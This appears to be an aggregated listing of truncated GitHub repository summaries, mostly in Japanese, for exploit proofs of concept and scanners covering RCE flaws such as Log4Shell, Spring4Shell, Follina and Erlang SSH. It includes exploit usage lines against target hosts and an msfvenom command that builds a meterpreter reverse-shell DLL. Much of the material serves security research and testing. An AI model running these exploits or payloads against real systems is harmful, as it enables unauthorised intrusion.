log4j-cve-2021-44228

Log4j CVE-2021-44228 および CVE-2021-45046 前提条件 脆弱なJDKを使用してください。例: JDK 1.8.0181 使用方法 悪意のあるサーバー 悪意のあるサーバーは以下のエンドポイントをデプロイします: 1389 LDAPサーバー 1099 RMIサーバー 8081 HTTPサーバー ./gradlew :malicious-server:bootRun 脆弱なアプリケーション 脆弱なアプリケーションは、8082 に1つのHTTPエンドポイントをデプロイします。 ./gradlew :vulnerable-app:bootRun リモートコード実行...

CVE-2024-5932

この投稿は EQSTLab が公開した調査記事です。 ❗❗ 重要 ❗❗ 現在、xmrig を実行する偽の PoC GitHub リポジトリが存在します。詳細は以下のリンクをご確認ください : URL1: https://x.com/win3zz/status/1828704644987511107 URL2: https://x.com/bornunique911/status/1828712791844524453 URL3: https://x.com/Chocapikk/status/1828801346637856841 CVE-2024-5932 ★ CVE-2024-5932...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js RSC RCE スキャナーと POC/エクスプロイトコレクション CVE-2025-66478 Next.jsアプリケーションのバージョンを一括検出し、CVE-2025-66478脆弱性の影響を受けるかどうかを判定するコマンドラインスキャナーです。 このスキャナーは脆弱性を悪用するものではありません 脆弱性の説明 https://nextjs.org/blog/CVE-2025-66478 インストール 前提条件 Go 1.19以上 Chrome/Chromiumブラウザ（go-rodが自動的にダウンロードします） git clone...

CVE-2026-24061

CVE-2026-24061 Telnet RCE エクスプロイト - SafeBreach Labs 作 このスクリプトは、不正な USER 環境変数を使用して Telnet サーバー内の CVE-2026-24061 の脆弱性を悪用します。 使用方法 ターゲットホストを指定してスクリプトを実行します: python telnetrce.py -p 引数 host: ターゲットの IP アドレスまたはホスト名 必須 -p, --port: ターゲットのポート デフォルト: 23 例 python telnetrce.py 192.168.1.100 python telnetrce.p...

CVE-2022-22947_Rce_Exp

CVE-2022-22947RceExp Spring Cloud Gateway リモートコード実行脆弱性 Exp SpringCloudGatewayRCEExp-CVE-2022-22947...

CVE-2026-64638-WordPress-Core-XSS2Shell

CVE-2026-64638 — Nuclei 检测模板 用于非侵入式检测 XSS2Shell 的 Nuclei 模板。XSS2Shell 是 WordPress Core 中一个预认证的 differential parser，允许在登录页面中注入 DOM 元素，并作为 XSS → RCE 攻击链的基础。 ⚠️ 此模板仅检测 净化缺陷（HTML 响应中的标记反射阶段）。它不会执行完整的利用链（DOM clobbering、JSONP/SOME、Application Password 窃取或插件上传）。严格用于获得明确授权的资产。 关于该漏洞 WordPress Core 在渲染...

CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE

CVE-2025-32433 - Erlang/OTP SSH RCE PoC 概要 Erlang/OTP SSH サーバーにおける認証不要のリモートコード実行 を示す PoC です。 SSH プロトコルのメッセージ処理の欠陥を悪用することで、攻撃者は有効な認証情報なしに対象上で任意のコマンドを実行できます。 CVE: CVE-2025-32433 CVSS スコア: 10.0 緊急 影響を受けるバージョン: OTP-27.3.3 以前 OTP-26.2.5.11 以前 OTP-25.3.2.20 以前 この問題は OTP-27.3.3、OTP-26.2.5.11、OTP-25.3.2....

drupal-cve-2019-6339

drupal-cve-2019-6339 Drupal リモートコード実行の脆弱性...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 この問題のCVEはCVE-2022-26318です。...

CVE-2021-40444-POC

CVE-2021-40444-POC Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行（RCE）の脆弱性を再現する試みです。 FlareVMで実行しない場合に最適です 準備 リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします 後で msfvenom で使用する .dll テンプレートを準備します msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 生成され...

gollina

$ gollina -h gollina Follina MS-MSDT 0-day MS Office RCE PoC in Go -- @dwisiswant0 Usage: gollina -c COMMAND OPTIONS... Options: -h, --host Listener host default: 0.0.0.0 -p, --port Listener port default: 8090 -n, --name Word file name w/o extension, default: gollina -c, --command Arbitrary comma...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） 1.インストール pip3 install -r requirements.txt 2.使用方法 $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ || | | | | | | || || || | / / / / \ V / // || / / | || | / / / / ||...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 このリポジトリの目的は、CVE-2021-44228（通称 Log4Shell）を悪用するために必要なすべてのコンポーネントを提供し、 その悪用方法を示すことです。 この脆弱性を悪用するために必要な要素は次のとおりです。 1. 脆弱なアプリケーションをエクスプロイトへリダイレクトする LDAPサーバー 。 2. 脆弱なバージョンの Log4J を使用する 脆弱なアプリケーション CVE-2021-44228 に対して脆弱な Spring Boot Web アプリケーション。 3. 脆弱なアプリケーションによってロードされる Jav...

CVE-2020-7961

CVE-2020-7961 CVE-2020-7961 用エクスプロイトスクリプト JSONWS を介した認証なしのリモートコード実行 参考情報とインスピレーション オリジナルのブログ記事 : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html synacktiv のブログ記事 : https://www.synacktiv.com/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html コードベース...

CVE-2021-3129

CVE-2021-3129 LaravelデバッグRCE 使用方法 docker-compse up -dを実行して環境を起動 8888ポートにアクセスし、トップページのgenerate keyをクリックすると再現できます。 Docker環境についての注意点： .env.exampleを.envにコピーしてデバッグ環境を有効にする php.iniのphar.readonlyを無効にしました...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery Controller および Citrix Gateway におけるリモートコード実行 RCE Citrix Application Delivery Controller（ADC、旧 NetScaler ADC）および Citrix Gateway（旧 NetScaler Gateway）に脆弱性が確認されました。この脆弱性が悪用された場合、認証されていない攻撃者が任意のコード実行を行う可能性があります。 追記 : Fireeye による CVE-2019-19781 の侵害指標（IOC）スキャナー ...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE概要：本説明では、FreePBX 16 の 2 つの脆弱性（CVE-2025-57819 と CVE-2025-61678）を組み合わせて、未認証アクセスからリモートコード実行（Remote Code Execution, RCE）への権限昇格を実現する完全な攻撃チェーンを示します。脆弱性 CVE 情報CVE 番号影響コンポーネント影響と脆弱性のタイプCVE-2025-57819Endpoint モジュールローダー（brand パラメータ）未認証のスタック型 SQL...

CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules

CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules CVE-2026-33057 - Mesop 未认证 RCE PoC 和 yara 规则 说实话，我不确定它是否有效，可能不会有效，但你还是试试吧... BİO 和捐赠：https://guns.lol/hackpatato cve 简介：https://socradar.io/free-tools/cve-radar/CVE-2026-33057 和...

OpenEMR_Vulnerabilities

OpenEMR リモートコード実行の脆弱性 OpenEMR 5.0.1 では、認証済みの攻撃者が悪意のあるPHPコードをアップロードして実行することができます。 PoC git clone https://github.com/EmreOvunc/OpenEMRVulnerabilities.git cd OpenEMRVulnerabilities python3 openemrrcepoc.py -t http://127.0.0.1/openemr -u admin -p Passw0rd usage: openemrrcepoc.py -h --target TARGET...